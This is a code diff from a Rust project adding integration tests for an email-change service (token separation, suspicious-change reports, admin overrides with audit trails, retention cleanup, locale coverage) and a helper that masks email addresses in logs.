| 2346 | + assert!( | |
| 2347 | + !metadata.contains(&candidate) && !metadata.contains(&user.email), | |
| 2348 | + "hook metadata must carry masked addresses only: {metadata}" | |
| 2349 | + ); | |
| 2350 | + assert!( | |
| 2351 | + verified.lock().expect("verified sink").contains(&user.id), | |
| 2352 | + "the click is the proof of possession: on_email_verified must fire" | |
| 2353 | + ); | |
| 2354 | + } | |
| 2355 | + | |
| 2356 | + /// The two secrets are not interchangeable. | |
| 2357 | + #[tokio::test] | |
| 2358 | + async fn a_report_token_cannot_confirm_and_a_confirmation_token_cannot_report() { | |
| 2359 | + let db = test_db().await; | |
| 2360 | + let user = verified_user(&db).await; | |
| 2361 | + let candidate = fresh_email(); | |
| 2362 | + let svc = service(); | |
| 2363 | + | |
| 2364 | + svc.request_change(&db, user.id, &candidate, PASSWORD) | |
| 2365 | + .await | |
| 2366 | + .expect("request"); | |
| 2367 | + let confirm = confirmation_token(&db, &candidate).await; | |
| 2368 | + let report = report_token(&db, &user.email).await; | |
| 2369 | + | |
| 2370 | + assert!( | |
| 2371 | + svc.confirm_change(&db, &report, None).await.is_err(), | |
| 2372 | + "the report token must not confirm the change" | |
| 2373 | + ); | |
| 2374 | + assert!( | |
| 2375 | + svc.report_suspicious(&db, &confirm, None).await.is_err(), | |
| 2376 | + "the confirmation token must not file a report" | |
| 2377 | + ); | |
| 2378 | + assert_eq!(reload(&db, user.id).await.email, user.email); | |
| 2379 | + let rows = pending_rows(&db, user.id).await; | |
| 2380 | + // The admin fan-out sits behind the `reported_at` write, so an | |
| 2381 | + // unflagged row is also a row that woke nobody. Counting admin mails | |
| 2382 | + // directly would race with the other tests sharing this database. | |
| 2383 | + assert!(rows[0].used_at.is_none() && rows[0].reported_at.is_none()); | |
| 2384 | + } | |
| 2385 | + | |
| 2386 | + /// RFC 0041 test 15 — deleting the account takes its pending requests with | |
| 2387 | + /// it (FK `ON DELETE CASCADE`). | |
| 2388 | + #[tokio::test] | |
| 2389 | + async fn deleting_a_user_cascades_to_their_pending_requests() { | |
| 2390 | + let db = test_db().await; | |
| 2391 | + let user = verified_user(&db).await; | |
| 2392 | + | |
| 2393 | + service() | |
| 2394 | + .request_change(&db, user.id, &fresh_email(), PASSWORD) | |
| 2395 | + .await | |
| 2396 | + .expect("request"); | |
| 2397 | + assert_eq!(pending_rows(&db, user.id).await.len(), 1); | |
| 2398 | + | |
| 2399 | + UserService::delete_user(&db, user.id, None) | |
| 2400 | + .await | |
| 2401 | + .expect("delete user"); | |
| 2402 | + | |
| 2403 | + assert!( | |
| 2404 | + pending_rows(&db, user.id).await.is_empty(), | |
| 2405 | + "pending rows must not survive their owner" | |
| 2406 | + ); | |
| 2407 | + } | |
| 2408 | + | |
| 2409 | + // ── report_suspicious ─────────────────────────────────────────────────── | |
| 2410 | + | |
| 2411 | + /// RFC 0041 tests 11-13 — the report alerts, traces, and does **not** | |
| 2412 | + /// block: the mailbox receiving this link may alert, never decide. | |
| 2413 | + #[tokio::test] | |
| 2414 | + async fn report_suspicious_alerts_and_traces_without_blocking_the_change() { | |
| 2415 | + let db = test_db().await; | |
| 2416 | + let user = verified_user(&db).await; | |
| 2417 | + let candidate = fresh_email(); | |
| 2418 | + let (hooks, audit, _) = capturing_hooks(); | |
| 2419 | + let svc = service(); | |
| 2420 | + | |
| 2421 | + svc.request_change(&db, user.id, &candidate, PASSWORD) | |
| 2422 | + .await | |
| 2423 | + .expect("request"); | |
| 2424 | + let report = report_token(&db, &user.email).await; | |
| 2425 | + let confirm = confirmation_token(&db, &candidate).await; | |
| 2426 | + | |
| 2427 | + let reported_id = svc | |
| 2428 | + .report_suspicious(&db, &report, Some(&hooks)) | |
| 2429 | + .await | |
| 2430 | + .expect("report must succeed"); | |
| 2431 | + assert_eq!(reported_id, user.id); | |
| 2432 | + | |
| 2433 | + let rows = pending_rows(&db, user.id).await; | |
| 2434 | + assert!(rows[0].reported_at.is_some(), "the row must be flagged"); | |
| 2435 | + assert!( | |
| 2436 | + rows[0].used_at.is_none(), | |
| 2437 | + "a report must not consume the request" | |
| 2438 | + ); | |
| 2439 | + | |
| 2440 | + let audits = audit_rows(&db, user.id, "email_change_reported").await; | |
| 2441 | + assert_eq!(audits.len(), 1, "exactly one audit row"); | |
| 2442 | + assert_eq!(audits[0].level, "WARN", "a report is a warning-level event"); | |
| 2443 | + assert!( | |
| 2444 | + !audits[0].message.contains(&candidate), | |
| 2445 | + "the audit message must carry masked addresses only" | |
| 2446 | + ); | |
| 2447 | + | |
| 2448 | + let events = audit.lock().expect("audit sink").clone(); | |
| 2449 | + assert!( | |
| 2450 | + events | |
| 2451 | + .iter() | |
| 2452 | + .any(|event| event.kind == "user.email_change_reported"), | |
| 2453 | + "the audit hook must be dispatched, got {events:?}" | |
| 2454 | + ); | |
| 2455 | + | |
| 2456 | + // The decisive assertion: a report does not veto the change. | |
| 2457 | + svc.confirm_change(&db, &confirm, None) | |
| 2458 | + .await | |
| 2459 | + .expect("a reported request must still be confirmable"); | |
| 2460 | + assert_eq!(reload(&db, user.id).await.email, candidate); | |
| 2461 | + } | |
| 2462 | + | |
| 2463 | + /// Double click, page refresh, browser form resend: the second report is a | |
| 2464 | + /// no-op, not a second wake-up call for every administrator. | |
| 2465 | + #[tokio::test] | |
| 2466 | + async fn replaying_a_report_is_idempotent() { | |
| 2467 | + let db = test_db().await; | |
| 2468 | + let user = verified_user(&db).await; | |
| 2469 | + let svc = service(); | |
| 2470 | + | |
| 2471 | + svc.request_change(&db, user.id, &fresh_email(), PASSWORD) | |
| 2472 | + .await | |
| 2473 | + .expect("request"); | |
| 2474 | + let report = report_token(&db, &user.email).await; | |
| 2475 | + | |
| 2476 | + let first_id = svc | |
| 2477 | + .report_suspicious(&db, &report, None) | |
| 2478 | + .await | |
| 2479 | + .expect("first report"); | |
| 2480 | + let first_at = pending_rows(&db, user.id).await[0] | |
| 2481 | + .reported_at | |
| 2482 | + .expect("the row must be flagged"); | |
| 2483 | + | |
| 2484 | + let second_id = svc | |
| 2485 | + .report_suspicious(&db, &report, None) | |
| 2486 | + .await | |
| 2487 | + .expect("a replay must not fail"); | |
| 2488 | + | |
| 2489 | + assert_eq!(second_id, first_id); | |
| 2490 | + assert_eq!( | |
| 2491 | + pending_rows(&db, user.id).await[0].reported_at, | |
| 2492 | + Some(first_at), | |
| 2493 | + "the first report timestamp stands" | |
| 2494 | + ); | |
| 2495 | + assert_eq!( | |
| 2496 | + audit_rows(&db, user.id, "email_change_reported") | |
| 2497 | + .await | |
| 2498 | + .len(), | |
| 2499 | + 1, | |
| 2500 | + "replaying must not wake every administrator twice" | |
| 2501 | + ); | |
| 2502 | + } | |
| 2503 | + | |
| 2504 | + /// RFC 0041 test 14 — reporting an already-consumed request stays useful: | |
| 2505 | + /// the operator signal keeps its value after the fact. | |
| 2506 | + #[tokio::test] | |
| 2507 | + async fn a_consumed_request_can_still_be_reported() { | |
| 2508 | + let db = test_db().await; | |
| 2509 | + let user = verified_user(&db).await; | |
| 2510 | + let candidate = fresh_email(); | |
| 2511 | + let svc = service(); | |
| 2512 | + | |
| 2513 | + svc.request_change(&db, user.id, &candidate, PASSWORD) | |
| 2514 | + .await | |
| 2515 | + .expect("request"); | |
| 2516 | + let report = report_token(&db, &user.email).await; | |
| 2517 | + let confirm = confirmation_token(&db, &candidate).await; | |
| 2518 | + svc.confirm_change(&db, &confirm, None) | |
| 2519 | + .await | |
| 2520 | + .expect("confirmation"); | |
| 2521 | + | |
| 2522 | + svc.report_suspicious(&db, &report, None) | |
| 2523 | + .await | |
| 2524 | + .expect("reporting after the fact must still work"); | |
| 2525 | + | |
| 2526 | + let rows = pending_rows(&db, user.id).await; | |
| 2527 | + assert!(rows[0].used_at.is_some() && rows[0].reported_at.is_some()); | |
| 2528 | + assert_eq!( | |
| 2529 | + audit_rows(&db, user.id, "email_change_reported") | |
| 2530 | + .await | |
| 2531 | + .len(), | |
| 2532 | + 1, | |
| 2533 | + "the operator is alerted even though the change already landed" | |
| 2534 | + ); | |
| 2535 | + assert_eq!( | |
| 2536 | + reload(&db, user.id).await.email, | |
| 2537 | + candidate, | |
| 2538 | + "a late report does not roll the change back" | |
| 2539 | + ); | |
| 2540 | + } | |
| 2541 | + | |
| 2542 | + // ── admin_force_change ────────────────────────────────────────────────── | |
| 2543 | + | |
| 2544 | + /// RFC 0041 tests 23-25 — the operator recourse: a write without proof of | |
| 2545 | + /// possession, traced as a warning and never silent. | |
| 2546 | + #[tokio::test] | |
| 2547 | + async fn admin_force_change_writes_without_proof_and_traces_it_as_a_warning() { | |
| 2548 | + let db = test_db().await; | |
| 2549 | + let admin = verified_user(&db).await; | |
| 2550 | + if !promote_to_admin(&db, admin.id).await { | |
| 2551 | + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)"); | |
| 2552 | + return; | |
| 2553 | + } | |
| 2554 | + let target = verified_user(&db).await; | |
| 2555 | + let fixed = fresh_email(); | |
| 2556 | + let (hooks, audit, verified) = capturing_hooks(); | |
| 2557 | + | |
| 2558 | + RefreshTokenService::create_refresh_token(&db, target.id, 30) | |
| 2559 | + .await | |
| 2560 | + .expect("seed a live session"); | |
| 2561 | + | |
| 2562 | + service() | |
| 2563 | + .admin_force_change(&db, admin.id, target.id, &fixed, Some(&hooks)) | |
| 2564 | + .await | |
| 2565 | + .expect("the override must succeed"); | |
| 2566 | + | |
| 2567 | + let reloaded = reload(&db, target.id).await; | |
| 2568 | + assert_eq!(reloaded.email, fixed); | |
| 2569 | + assert!( | |
| 2570 | + reloaded.email_verified, | |
| 2571 | + "the operator vouches for the address out of band" | |
| 2572 | + ); | |
| 2573 | + assert_eq!( | |
| 2574 | + live_sessions(&db, target.id).await, | |
| 2575 | + 0, | |
| 2576 | + "the target's sessions must close, like any identity move" | |
| 2577 | + ); | |
| 2578 | + | |
| 2579 | + let audits = audit_rows(&db, target.id, "email_changed_by_admin").await; | |
| 2580 | + assert_eq!(audits.len(), 1, "exactly one audit row"); | |
| 2581 | + assert_eq!( | |
| 2582 | + audits[0].level, "WARN", | |
| 2583 | + "an identity write without proof must surface" | |
| 2584 | + ); | |
| 2585 | + assert_eq!( | |
| 2586 | + audits[0].user_id, | |
| 2587 | + Some(admin.id), | |
| 2588 | + "the acting operator must be named" | |
| 2589 | + ); | |
| 2590 | + assert!( | |
| 2591 | + !audits[0].message.contains(&fixed) && !audits[0].message.contains(&target.email), | |
| 2592 | + "the audit message must carry masked addresses only" | |
| 2593 | + ); | |
| 2594 | + | |
| 2595 | + let events = audit.lock().expect("audit sink").clone(); | |
| 2596 | + let forced = events | |
| 2597 | + .iter() | |
| 2598 | + .find(|event| event.kind == "user.email_changed_by_admin") | |
| 2599 | + .unwrap_or_else(|| { | |
| 2600 | + panic!("user.email_changed_by_admin must be dispatched, got {events:?}") | |
| 2601 | + }); | |
| 2602 | + assert_eq!( | |
| 2603 | + forced.actor_id, | |
| 2604 | + Some(admin.id), | |
| 2605 | + "the event must name the acting operator" | |
| 2606 | + ); | |
| 2607 | + assert_eq!( | |
| 2608 | + forced.target, | |
| 2609 | + Some(("user".to_string(), target.id)), | |
| 2610 | + "the event must name the account that was rewritten" | |
| 2611 | + ); | |
| 2612 | + assert!( | |
| 2613 | + !verified.lock().expect("verified sink").contains(&target.id), | |
| 2614 | + "nobody proved possession: on_email_verified must NOT fire" | |
| 2615 | + ); | |
| 2616 | + | |
| 2617 | + // Both mailboxes informed; there is nothing left to confirm, so | |
| 2618 | + // neither mail carries an action link. | |
| 2619 | + for mailbox in [target.email.as_str(), fixed.as_str()] { | |
| 2620 | + let mail = last_queued(&db, mailbox, "email_change_by_admin") | |
| 2621 | + .await | |
| 2622 | + .unwrap_or_else(|| panic!("no notice queued for {mailbox}")); | |
| 2623 | + for body in [&mail.body_text, &mail.body_html] { | |
| 2624 | + assert!( | |
| 2625 | + !body.contains("/email-change/confirm/") | |
| 2626 | + && !body.contains("/email-change/report/"), | |
| 2627 | + "an operator-driven change leaves nothing to click" | |
| 2628 | + ); | |
| 2629 | + } | |
| 2630 | + } | |
| 2631 | + } | |
| 2632 | + | |
| 2633 | + /// RFC 0041 test 26 — the route middleware is not the only gate: a | |
| 2634 | + /// headless call straight to the service is refused too. | |
| 2635 | + #[tokio::test] | |
| 2636 | + async fn admin_force_change_refuses_a_non_admin_actor() { | |
| 2637 | + let db = test_db().await; | |
| 2638 | + let actor = verified_user(&db).await; | |
| 2639 | + let target = verified_user(&db).await; | |
| 2640 | + let candidate = fresh_email(); | |
| 2641 | + | |
| 2642 | + let result = service() | |
| 2643 | + .admin_force_change(&db, actor.id, target.id, &candidate, None) | |
| 2644 | + .await; | |
| 2645 | + | |
| 2646 | + assert!( | |
| 2647 | + matches!(result, Err(AppError::Forbidden)), | |
| 2648 | + "expected Forbidden, got {result:?}" | |
| 2649 | + ); | |
| 2650 | + assert_eq!( | |
| 2651 | + reload(&db, target.id).await.email, | |
| 2652 | + target.email, | |
| 2653 | + "nothing may be written" | |
| 2654 | + ); | |
| 2655 | + assert!( | |
| 2656 | + audit_rows(&db, target.id, "email_changed_by_admin") | |
| 2657 | + .await | |
| 2658 | + .is_empty(), | |
| 2659 | + "a refused override leaves no trail to read" | |
| 2660 | + ); | |
| 2661 | + } | |
| 2662 | + | |
| 2663 | + /// RFC 0041 test 27 — a still-valid confirmation link must not overwrite | |
| 2664 | + /// the address the operator just set. | |
| 2665 | + #[tokio::test] | |
| 2666 | + async fn admin_force_change_kills_a_live_confirmation_link() { | |
| 2667 | + let db = test_db().await; | |
| 2668 | + let admin = verified_user(&db).await; | |
| 2669 | + if !promote_to_admin(&db, admin.id).await { | |
| 2670 | + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)"); | |
| 2671 | + return; | |
| 2672 | + } | |
| 2673 | + let target = verified_user(&db).await; | |
| 2674 | + let candidate = fresh_email(); | |
| 2675 | + let fixed = fresh_email(); | |
| 2676 | + let svc = service(); | |
| 2677 | + | |
| 2678 | + svc.request_change(&db, target.id, &candidate, PASSWORD) | |
| 2679 | + .await | |
| 2680 | + .expect("the user opens a request"); | |
| 2681 | + let token = confirmation_token(&db, &candidate).await; | |
| 2682 | + | |
| 2683 | + svc.admin_force_change(&db, admin.id, target.id, &fixed, None) | |
| 2684 | + .await | |
| 2685 | + .expect("the operator overrides it"); | |
| 2686 | + | |
| 2687 | + assert_eq!( | |
| 2688 | + EmailChangeService::inspect_confirmation_token(&db, &token) | |
| 2689 | + .await | |
| 2690 | + .expect("inspect"), | |
| 2691 | + EmailChangeLinkState::Used, | |
| 2692 | + "the pending request must be consumed by the override" | |
| 2693 | + ); | |
| 2694 | + assert!( | |
| 2695 | + svc.confirm_change(&db, &token, None).await.is_err(), | |
| 2696 | + "a stale link must not resurrect the previous candidate address" | |
| 2697 | + ); | |
| 2698 | + assert_eq!(reload(&db, target.id).await.email, fixed); | |
| 2699 | + } | |
| 2700 | + | |
| 2701 | + /// Admin forms resubmit every field: echoing the current address must not | |
| 2702 | + /// pollute the trail with a change that did not happen. | |
| 2703 | + #[tokio::test] | |
| 2704 | + async fn admin_force_change_on_the_current_address_is_a_silent_noop() { | |
| 2705 | + let db = test_db().await; | |
| 2706 | + let admin = verified_user(&db).await; | |
| 2707 | + if !promote_to_admin(&db, admin.id).await { | |
| 2708 | + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)"); | |
| 2709 | + return; | |
| 2710 | + } | |
| 2711 | + let target = verified_user(&db).await; | |
| 2712 | + | |
| 2713 | + service() | |
| 2714 | + .admin_force_change(&db, admin.id, target.id, &target.email, None) | |
| 2715 | + .await | |
| 2716 | + .expect("echoing the current address must not fail"); | |
| 2717 | + | |
| 2718 | + assert_eq!(reload(&db, target.id).await.email, target.email); | |
| 2719 | + assert!( | |
| 2720 | + audit_rows(&db, target.id, "email_changed_by_admin") | |
| 2721 | + .await | |
| 2722 | + .is_empty(), | |
| 2723 | + "a no-op must not be traced as a change" | |
| 2724 | + ); | |
| 2725 | + assert_eq!( | |
| 2726 | + queued_count(&db, &target.email, "email_change_by_admin").await, | |
| 2727 | + 0, | |
| 2728 | + "a no-op must not mail anybody" | |
| 2729 | + ); | |
| 2730 | + } | |
| 2731 | + | |
| 2732 | + /// RFC 0041 test 26 (suite) — an unknown actor is a `NotFound`, not a | |
| 2733 | + /// silent `Forbidden`: the two say different things to an operator. | |
| 2734 | + #[tokio::test] | |
| 2735 | + async fn admin_force_change_with_an_unknown_actor_is_not_found() { | |
| 2736 | + let db = test_db().await; | |
| 2737 | + let target = verified_user(&db).await; | |
| 2738 | + | |
| 2739 | + let result = service() | |
| 2740 | + .admin_force_change(&db, Uuid::new_v4(), target.id, &fresh_email(), None) | |
| 2741 | + .await; | |
| 2742 | + | |
| 2743 | + assert!( | |
| 2744 | + matches!(result, Err(AppError::NotFound(_))), | |
| 2745 | + "expected NotFound, got {result:?}" | |
| 2746 | + ); | |
| 2747 | + assert_eq!(reload(&db, target.id).await.email, target.email); | |
| 2748 | + } | |
| 2749 | + | |
| 2750 | + /// RFC 0041 test 27 — the operator recourse is not a licence to duplicate | |
| 2751 | + /// an address: uniqueness still holds. | |
| 2752 | + #[tokio::test] | |
| 2753 | + async fn admin_force_change_on_a_taken_address_is_refused() { | |
| 2754 | + let db = test_db().await; | |
| 2755 | + let admin = verified_user(&db).await; | |
| 2756 | + if !promote_to_admin(&db, admin.id).await { | |
| 2757 | + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)"); | |
| 2758 | + return; | |
| 2759 | + } | |
| 2760 | + let target = verified_user(&db).await; | |
| 2761 | + let neighbour = verified_user(&db).await; | |
| 2762 | + | |
| 2763 | + let result = service() | |
| 2764 | + .admin_force_change(&db, admin.id, target.id, &neighbour.email, None) | |
| 2765 | + .await; | |
| 2766 | + | |
| 2767 | + assert!( | |
| 2768 | + matches!(result, Err(AppError::Validation(_))), | |
| 2769 | + "expected Validation, got {result:?}" | |
| 2770 | + ); | |
| 2771 | + assert_eq!(reload(&db, target.id).await.email, target.email); | |
| 2772 | + assert_eq!(reload(&db, neighbour.id).await.email, neighbour.email); | |
| 2773 | + } | |
| 2774 | + | |
| 2775 | + /// RFC 0041 test 17, admin side — same reason as on the user path: a | |
| 2776 | + /// password-change link mailed to the previous address must not survive it. | |
| 2777 | + #[tokio::test] | |
| 2778 | + async fn admin_force_change_drops_pending_password_change_requests() { | |
| 2779 | + let db = test_db().await; | |
| 2780 | + let admin = verified_user(&db).await; | |
| 2781 | + if !promote_to_admin(&db, admin.id).await { | |
| 2782 | + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)"); | |
| 2783 | + return; | |
| 2784 | + } | |
| 2785 | + let target = verified_user(&db).await; | |
| 2786 | + let password_service = PasswordChangeService::new(); | |
| 2787 | + | |
| 2788 | + password_service | |
| 2789 | + .create_pending_request(&db, target.id, "AnotherPassword1!") | |
| 2790 | + .await | |
| 2791 | + .expect("seed a pending password change"); | |
| 2792 | + | |
| 2793 | + service() | |
| 2794 | + .admin_force_change(&db, admin.id, target.id, &fresh_email(), None) | |
| 2795 | + .await | |
| 2796 | + .expect("override"); | |
| 2797 | + | |
| 2798 | + assert!( | |
| 2799 | + password_service | |
| 2800 | + .find_pending_by_user_id(&db, target.id) | |
| 2801 | + .await | |
| 2802 | + .expect("lookup") | |
| 2803 | + .is_none(), | |
| 2804 | + "the pending password change must be gone" | |
| 2805 | + ); | |
| 2806 | + } | |
| 2807 | + | |
| 2808 | + /// The operator keeps working: only the target account is logged out. | |
| 2809 | + #[tokio::test] | |
| 2810 | + async fn admin_force_change_leaves_the_operators_own_sessions_alone() { | |
| 2811 | + let db = test_db().await; | |
| 2812 | + let admin = verified_user(&db).await; | |
| 2813 | + if !promote_to_admin(&db, admin.id).await { | |
| 2814 | + eprintln!("skipped: no `admin` role in this database (RBAC seed absent)"); | |
| 2815 | + return; | |
| 2816 | + } | |
| 2817 | + let target = verified_user(&db).await; | |
| 2818 | + | |
| 2819 | + RefreshTokenService::create_refresh_token(&db, admin.id, 30) | |
| 2820 | + .await | |
| 2821 | + .expect("seed the operator's session"); | |
| 2822 | + RefreshTokenService::create_refresh_token(&db, target.id, 30) | |
| 2823 | + .await | |
| 2824 | + .expect("seed the target's session"); | |
| 2825 | + | |
| 2826 | + service() | |
| 2827 | + .admin_force_change(&db, admin.id, target.id, &fresh_email(), None) | |
| 2828 | + .await | |
| 2829 | + .expect("override"); | |
| 2830 | + | |
| 2831 | + assert_eq!( | |
| 2832 | + live_sessions(&db, target.id).await, | |
| 2833 | + 0, | |
| 2834 | + "the rewritten account must re-authenticate" | |
| 2835 | + ); | |
| 2836 | + assert_eq!( | |
| 2837 | + live_sessions(&db, admin.id).await, | |
| 2838 | + 1, | |
| 2839 | + "the operator must not be logged out by their own action" | |
| 2840 | + ); | |
| 2841 | + } | |
| 2842 | + | |
| 2843 | + // ── Retention ─────────────────────────────────────────────────────────── | |
| 2844 | + | |
| 2845 | + /// RFC 0041 test 28 — `new_email` is personal data in clear text: it must | |
| 2846 | + /// not outlive the retention window. | |
| 2847 | + #[tokio::test] | |
| 2848 | + async fn cleanup_expired_deletes_rows_past_the_retention_window() { | |
| 2849 | + let _serialised = RETENTION_GUARD.lock().await; | |
| 2850 | + let db = test_db().await; | |
| 2851 | + let user = verified_user(&db).await; | |
| 2852 | + | |
| 2853 | + service() | |
| 2854 | + .request_change(&db, user.id, &fresh_email(), PASSWORD) | |
| 2855 | + .await | |
| 2856 | + .expect("request"); | |
| 2857 | + let mut active: pending_email_change::ActiveModel = | |
| 2858 | + pending_rows(&db, user.id).await.remove(0).into(); | |
| 2859 | + active.expires_at = | |
| 2860 | + Set(Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 1)); | |
| 2861 | + active.update(&db).await.expect("age the row"); | |
| 2862 | + | |
| 2863 | + EmailChangeService::cleanup_expired(&db) | |
| 2864 | + .await | |
| 2865 | + .expect("cleanup"); | |
| 2866 | + | |
| 2867 | + assert!( | |
| 2868 | + pending_rows(&db, user.id).await.is_empty(), | |
| 2869 | + "a row past retention must be hard-deleted" | |
| 2870 | + ); | |
| 2871 | + } | |
| 2872 | + | |
| 2873 | + /// RFC 0041 test 29 — a merely expired row stays: the user who clicks late | |
| 2874 | + /// deserves "this link expired", not "unknown token". | |
| 2875 | + #[tokio::test] | |
| 2876 | + async fn cleanup_expired_keeps_rows_still_within_retention() { | |
| 2877 | + let _serialised = RETENTION_GUARD.lock().await; | |
| 2878 | + let db = test_db().await; | |
| 2879 | + let user = verified_user(&db).await; | |
| 2880 | + let candidate = fresh_email(); | |
| 2881 | + | |
| 2882 | + service() | |
| 2883 | + .request_change(&db, user.id, &candidate, PASSWORD) | |
| 2884 | + .await | |
| 2885 | + .expect("request"); | |
| 2886 | + let token = confirmation_token(&db, &candidate).await; | |
| 2887 | + expire(&db, pending_rows(&db, user.id).await.remove(0)).await; | |
| 2888 | + | |
| 2889 | + EmailChangeService::cleanup_expired(&db) | |
| 2890 | + .await | |
| 2891 | + .expect("cleanup"); | |
| 2892 | + | |
| 2893 | + assert_eq!(pending_rows(&db, user.id).await.len(), 1); | |
| 2894 | + assert_eq!( | |
| 2895 | + EmailChangeService::inspect_confirmation_token(&db, &token) | |
| 2896 | + .await | |
| 2897 | + .expect("inspect"), | |
| 2898 | + EmailChangeLinkState::Expired, | |
| 2899 | + "within retention the link explains itself instead of looking unknown" | |
| 2900 | + ); | |
| 2901 | + } | |
| 2902 | + | |
| 2903 | + /// RFC 0041 test 30 — retention is honoured even by a consumer that never | |
| 2904 | + /// starts the cleanup processor: the next request purges the user's own | |
| 2905 | + /// stale rows, and only those. | |
| 2906 | + #[tokio::test] | |
| 2907 | + async fn a_new_request_purges_the_users_own_stale_rows_only() { | |
| 2908 | + let _serialised = RETENTION_GUARD.lock().await; | |
| 2909 | + let db = test_db().await; | |
| 2910 | + let user = verified_user(&db).await; | |
| 2911 | + let neighbour = verified_user(&db).await; | |
| 2912 | + let svc = service(); | |
| 2913 | + | |
| 2914 | + for owner in [&user, &neighbour] { | |
| 2915 | + svc.request_change(&db, owner.id, &fresh_email(), PASSWORD) | |
| 2916 | + .await | |
| 2917 | + .expect("seed a request"); | |
| 2918 | + let mut active: pending_email_change::ActiveModel = | |
| 2919 | + pending_rows(&db, owner.id).await.remove(0).into(); | |
| 2920 | + active.expires_at = | |
| 2921 | + Set(Utc::now() - Duration::days(PENDING_EMAIL_CHANGE_RETENTION_DAYS + 1)); | |
| 2922 | + active.update(&db).await.expect("age the row"); | |
| 2923 | + } | |
| 2924 | + | |
| 2925 | + svc.request_change(&db, user.id, &fresh_email(), PASSWORD) | |
| 2926 | + .await | |
| 2927 | + .expect("a fresh request triggers the opportunistic purge"); | |
| 2928 | + | |
| 2929 | + let rows = pending_rows(&db, user.id).await; | |
| 2930 | + assert_eq!(rows.len(), 1, "only the fresh request must remain"); | |
| 2931 | + assert!(rows[0].is_pending()); | |
| 2932 | + assert_eq!( | |
| 2933 | + pending_rows(&db, neighbour.id).await.len(), | |
| 2934 | + 1, | |
| 2935 | + "the purge must stay scoped to the acting user" | |
| 2936 | + ); | |
| 2937 | + } | |
| 2938 | + | |
| 2939 | + // ── Locales ───────────────────────────────────────────────────────────── | |
| 2940 | + | |
| 2941 | + /// Every string this service and the interstitial pages resolve, in the six | |
| 2942 | + /// shipped locales. | |
| 2943 | + /// | |
| 2944 | + /// A missing key is silently replaced by the English fallback baked into | |
| 2945 | + /// the code, so a gap never shows up as a failure at runtime — only as a | |
| 2946 | + /// German user reading an English sentence. This test is the only place | |
| 2947 | + /// that gap becomes visible. | |
| 2948 | + #[test] | |
| 2949 | + fn the_rfc_0041_keys_exist_in_the_six_locales() { | |
| 2950 | + use yaml_rust2::YamlLoader; | |
| 2951 | + | |
| 2952 | + const LOCALES: [(&str, &str); 6] = [ | |
| 2953 | + ("de", include_str!("../../locales/de.yml")), | |
| 2954 | + ("en", include_str!("../../locales/en.yml")), | |
| 2955 | + ("es", include_str!("../../locales/es.yml")), | |
| 2956 | + ("fr", include_str!("../../locales/fr.yml")), | |
| 2957 | + ("it", include_str!("../../locales/it.yml")), | |
| 2958 | + ("pt", include_str!("../../locales/pt.yml")), | |
| 2959 | + ]; | |
| 2960 | + | |
| 2961 | + let keys_of = |source: &str, block: &str| -> Vec<String> { | |
| 2962 | + let docs = YamlLoader::load_from_str(source).expect("valid YAML"); | |
| 2963 | + let mut keys: Vec<String> = docs[0][block] | |
| 2964 | + .as_hash() | |
| 2965 | + .unwrap_or_else(|| panic!("block `{block}` is missing")) | |
| 2966 | + .keys() | |
| 2967 | + .filter_map(|k| k.as_str().map(str::to_string)) | |
| 2968 | + .collect(); | |
| 2969 | + keys.sort(); | |
| 2970 | + keys | |
| 2971 | + }; | |
| 2972 | + | |
| 2973 | + for block in ["email_change", "email_change_page"] { | |
| 2974 | + let reference = keys_of(LOCALES[1].1, block); | |
| 2975 | + assert!( | |
| 2976 | + !reference.is_empty(), | |
| 2977 | + "en.yml must define the `{block}` block" | |
| 2978 | + ); | |
| 2979 | + for (locale, source) in LOCALES { | |
| 2980 | + assert_eq!( | |
| 2981 | + keys_of(source, block), | |
| 2982 | + reference, | |
| 2983 | + "{locale}.yml must define exactly the `{block}` keys of en.yml" | |
| 2984 | + ); | |
| 2985 | + } | |
| 2986 | + } | |
| 2987 | + } | |
| 2988 | +} |
M
crates/rustwarden-core/src/services/email_sanitization.rs
+29
-0
@@ -34,6 +34,26 @@ pub fn sanitize_email_content(content: &str) -> String {
| 34 | 34 | .replace('\'', "'") |
| 35 | 35 | } |
| 36 | 36 | |
| 37 | +/// Mask an email address for log output (e.g. `jo***@ex***`). | |
| 38 | +/// | |
| 39 | +/// Keeps at most the first two characters of the local part and of the | |
| 40 | +/// domain so log lines, audit messages and hook metadata never contain a | |
| 41 | +/// full address (SIEM-friendly). | |
| 42 | +/// | |
| 43 | +/// Shared helper: used by | |
| 44 | +/// [`EmailChangeService`](crate::services::email_change_service::EmailChangeService) | |
| 45 | +/// for its `audit_logs` rows and `on_audit_event` payloads. | |
| 46 | +pub(crate) fn mask_email(email: &str) -> String { | |
| 47 | + match email.split_once('@') { | |
| 48 | + Some((local, domain)) => { | |
| 49 | + let local_visible: String = local.chars().take(2).collect(); | |
| 50 | + let domain_visible: String = domain.chars().take(2).collect(); | |
| 51 | + format!("{local_visible}***@{domain_visible}***") | |
| 52 | + } | |
| 53 | + None => "***".to_string(), | |
| 54 | + } | |
| 55 | +} | |
| 56 | + | |
| 37 | 57 | /// Validate email address format |
| 38 | 58 | /// |
| 39 | 59 | /// # Arguments |
@@ -69,4 +89,13 @@ mod tests {
| 69 | 89 | assert!(!is_valid_email_format("@example.com")); |
| 70 | 90 | assert!(!is_valid_email_format("user @example.com")); // Contains space |
| 71 | 91 | } |
| 92 | + | |
| 93 | + #[test] | |
| 94 | + fn mask_email_never_leaks_full_address() { | |
| 95 | + assert_eq!(mask_email("john.doe@example.com"), "jo***@ex***"); | |
| 96 | + assert_eq!(mask_email("a@b.c"), "a***@b.***"); | |
| 97 | + assert_eq!(mask_email("no-at-sign"), "***"); | |
| 98 | + // Multi-byte local part must not panic. | |
| 99 | + assert_eq!(mask_email("émile@exemple.fr"), "ém***@ex***"); | |
| 100 | + } | |
| 72 | 101 | } |
M
crates/rustwarden-core/src/services/email_validation_service.rs
+144
-4
@@ -17,12 +17,40 @@ use sea_orm::{
| 17 | 17 | ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set, |
| 18 | 18 | }; |
| 19 | 19 | use sha2::{Digest, Sha256}; |
| 20 | +use std::sync::OnceLock; | |
| 21 | +use std::time::Duration as StdDuration; | |
